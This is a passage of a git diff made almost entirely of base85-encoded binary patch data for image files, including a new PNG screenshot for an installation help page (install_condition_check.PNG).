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 W@GK+KUGOnVDou6Wli6w(!T$xl(KtB( literal 0 HcmV?d00001 diff --git a/admin/help/img/install/install_condition_check.PNG b/admin/help/img/install/install_condition_check.PNG new file mode 100644 index 0000000000000000000000000000000000000000..bda900fb291b9573f66dcb5a6125a74184dc7abc GIT binary patch literal 20829 zcmb`v2Q*x5)HW=UDA9>d1ksHigecL45E9XQFrxQ}7Aa~FqSqKi@1u)RBf1g2M(;#7 z>US6^&y(kU*Z;2dXU&Q>=bZcA<=T5+d*9>#P)Qc&8pSmf6cikJIVn{X6jTrj$|W-l zG~hScik}#OFP9utWhGGZI;j?cAFi0)dvFg0r7#5R$nYxg^G#zp)dwgjFBnl!UcNy= zIRJk3asdU!i3jNY)Hc3SX#Uz{y za@f8N{Bxh%TV6k^JVdxm?0*qxze1z+lH}u6@TEV$s9Ig}Cn2;#LFM}M^_~@#DD%m? z7aQHRDA<3#p3*m8(i}G#1-GP9}2XXvC zkIAKQ>G1xs0)vmim&|daY%{NeR7HTr{eIT@uB>>!2b4b!h;;e9tm{Wo@ApG`KOe+iBbJXBwpnDZdbmF*)k9`{3RBH zXkhR7AU_hamzRFOQEqW9~$%|*OI+|g!YB-_rec4P#{+UVg32;m)@!5 za!SzZ#RoP#UiP!i9iXxa!`+E3x!t`YJe^5PDeApUWsg?N(^kVRQhniPyDJraI-ZEx z&gq9^$4|ya#nxzkiV6iAJIOm$s%`x!sw|dTf7qtRZUudAVK0ei!gI5Eu7&2*A+mI> zvQI8L{2oFZwxc~{H^1iIcy~JMusHP;kNU8t!mfF~BL;S|>_<9&Vc&97p|6RMMtNuwv_ zas}@8T>|adqOSUkj}uFGIXk>`KGPo_LdEvOTn9Q+=JZcjC)z_!XZ1TuyiVrNEakT} zfDLTFKYPGjj>g6Y8_gZd&g!{NOX~nS5dRV#L5iV~*wK8F>6Q-1(PxGBPt^JeMC@W^ zb69hvou^R5(8S5p$n9e+-x{;+P+Qj{SuyVUq|++#VM#gHt@=39-xi@UjD3q%i%(w~ zPKZf@v#c5}B`@(MfaEyBHWaKfBh~QL@!h8UN4bonc5=#&Msu34JqK2YyoH-xV#nr@ zj_qIYjy2Q3hzhkm4ji3U*MZS(STI2;2=!QVyoJ~b=G9A zN7>yj)IcSCE-O1P>pBG?U+n4TLP|(%1eE+@NF5&jnW8}9dSz!kebW178Z@xykgiKOg(hcOye~Q7VUU%c=#P%ELu0au@#;o%l7TlgE%c4^f4?< z5|6Aav+vih4v?7kf;oq=F6_&vS)34J(h+-mj$S{yGm^EGXo*4VmPU>({3wET5|V5j z@D)r4OK33ieIuX4?6I?cT34}M_{MLQ%In};l3q8t*XiLzlC(|u_Gvc_+VPhlQ9^r) zFtvzEFnWSETP;g#+H7u>Ak#cqV&Qb6z495R+{8h%zT;9K9T=SMpnv20fbwm9FSj)f zZJEW1^qBmlMc2<}HMK{!D&&`%=jXAS*#lj_VhzekK)?DebewoixRyUDXP$ygScg7W zfi|54EA&^1o)i+0;Lv{1P`QySGk54SE<^S>IH(;g7Y1QFU>;UA-R_O?>~b6bfOGG| zcla}t13i*L6(;w-x1=TmIg@Iwaa~LV>g?%D0?z_m8TcJ@5u1E8QW6UDs$-8!m!2@8 